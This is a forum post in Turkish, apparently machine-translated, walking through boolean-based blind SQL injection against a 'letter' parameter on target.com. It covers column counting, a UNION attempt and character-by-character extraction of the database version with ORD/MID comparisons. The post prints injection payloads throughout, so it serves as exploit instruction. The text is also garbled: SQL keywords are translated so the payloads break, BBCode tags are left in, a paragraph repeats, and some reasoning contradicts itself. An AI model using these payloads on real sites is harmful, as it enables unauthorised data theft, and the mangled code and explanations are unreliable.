Herkese merhaba, SQL Enjeksiyonu web uygulamalarında bulunabilecek en kritik güvenlik açıklarından biridir Bugün size avlanırken birden fazla SQL Enjeksiyon güvenlik açığını nasıl bulduğumu göstereceğim, bu yüzden hedefimize target.com
HTML koduna hızlı bir göz atarken
2 gizli parametre
olduğunu buldum, bu yüzden tek bir tırnak ekleyerek harf parametresini test etmeye başladım.
Yanıt kodu 200 OK aldım, bu da bazı hata işleme yaptıkları anlamına geliyor
ancak yanıt Sorgu başarısız oldu, bir veritabanı arka uçtaki sorgumuzu işledi gibi görünüyor
Öyleyse burada kaç sütun olduğunu bilmeye çalışalım
Kod:
?letter=a' ORDER BY 2 — V
Query'nin başarısız olduğunu gördüm
Kod:
?letter=a' ORDER BY 1 — V
Yürütüldü ve "Sorgu Başarısız Oldu:" mesajını almadı.
Öyleyse sürümü çıkarmaya çalışalım
Kod:
?letter=a' UNION SELECT VERSION() — -
Sorgu yürütüldü ancak yanıttaki sürümü almadı
Bu yüzden Kör SQL Enjeksiyon tekniklerini kullanarak veri sızdırmaya başladım
Kod:
?letter=a' VE 'omar'='omar
?letter=a' VE 'omar'='not-omar
Burada boole tabanlı SQLI var
Önceki iki koşuldan, şunu fark ettik:
Koşulumuz doğruysa, içerik uzunluğu 80 binden büyük olacaktır.
Eğer koşulumuz yanlışsa, içerik-uzunluk 5 bin aralığında olacaktır.
İstismar:
Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
MID() işlevi, SUBSTR() ve SUBSTRING() işlevleri gibi çalışır, MID(VERSION(),1,1) ilk dizeyi sürüm işlevinden çıkaracağı gibi kullanarak herhangi bir konumdaki bir dizeden bir alt dizeyi ayıklamak için çalışırlar MID(VERSION(),2,1) sürüm işlevinden ikinci dizeyi çıkarır
ORD() işlevi, bilgisayarınıza yapılan tüm girişleri ondalık değerde göstermek için kullanılır
version() öğesindeki ilk dizenin 'a' olduğunu ve bu nedenle bu işlevlerin karışımının çıktısının yukarıdaki tabloya göre ORD(MID(VERSION(),1,1)) 97 olacağını varsayalım.
Akıllı hafif kaba kuvvet yapmak için ağır kaba kuvvet yapmak yerine bu tekniği kullanıyoruz.
Bu yüzden ilk dizenin önceki tabloya göre küçük karakter olup olmadığını kontrol edeceğiz.
ORD() işlevi, bilgisayarınıza yapılan tüm girişleri ondalık değerde göstermek için kullanılır
version() öğesindeki ilk dizenin 'a' olduğunu ve bu nedenle bu işlevlerin karışımının çıktısının yukarıdaki tabloya göre ORD(MID(VERSION(),1,1)) 97 olacağını varsayalım.
Akıllı hafif kaba kuvvet yapmak için ağır kaba kuvvet yapmak yerine bu tekniği kullanıyoruz.
Bu yüzden ilk dizenin önceki tabloya göre küçük karakter olup olmadığını kontrol edeceğiz.
Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>96 VE 'OMAR'='OMAR[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
İçerik uzunluğuna göre, koşul yanlış
Bu yüzden ilk dizenin büyük char olup olmadığını kontrol edeceğiz.
Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))>64 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
İçerik uzunluğuna göre, koşul yanlış
Bu yüzden ilk dizenin bir sayı olup olmadığını kontrol edeceğiz
Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))<58 VE 'OMAR'='omar[/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER][B][CENTER]
?letter=a' VE ORD(MID(VERSION(),1,1))>47 VE 'OMAR'='omar
Kod:
?letter=a' VE ORD(MID(VERSION(),1,1))=53 VE 'OMAR'='omar
Koşul doğru, İçerik uzunluğuna göre
Şimdi, yukarıdaki ASCII Tablosuna göre 5'e eşit olan sürüm işlevinden ilk dizeyi çıkardık.
Bu teknikle ilgili en havalı şey, bir alt dizeyi çıkarmak için 100 istek yapmak yerine, 10'dan az istekte yapabileceğimizdir.
Her neyse, şimdiye kadar bu eğlenceye sahip olmanın yeterli olduğunu düşünüyorum ve şimdi sqlmap'e geçmeliyiz
Konun orjinal hali.
Son düzenleme: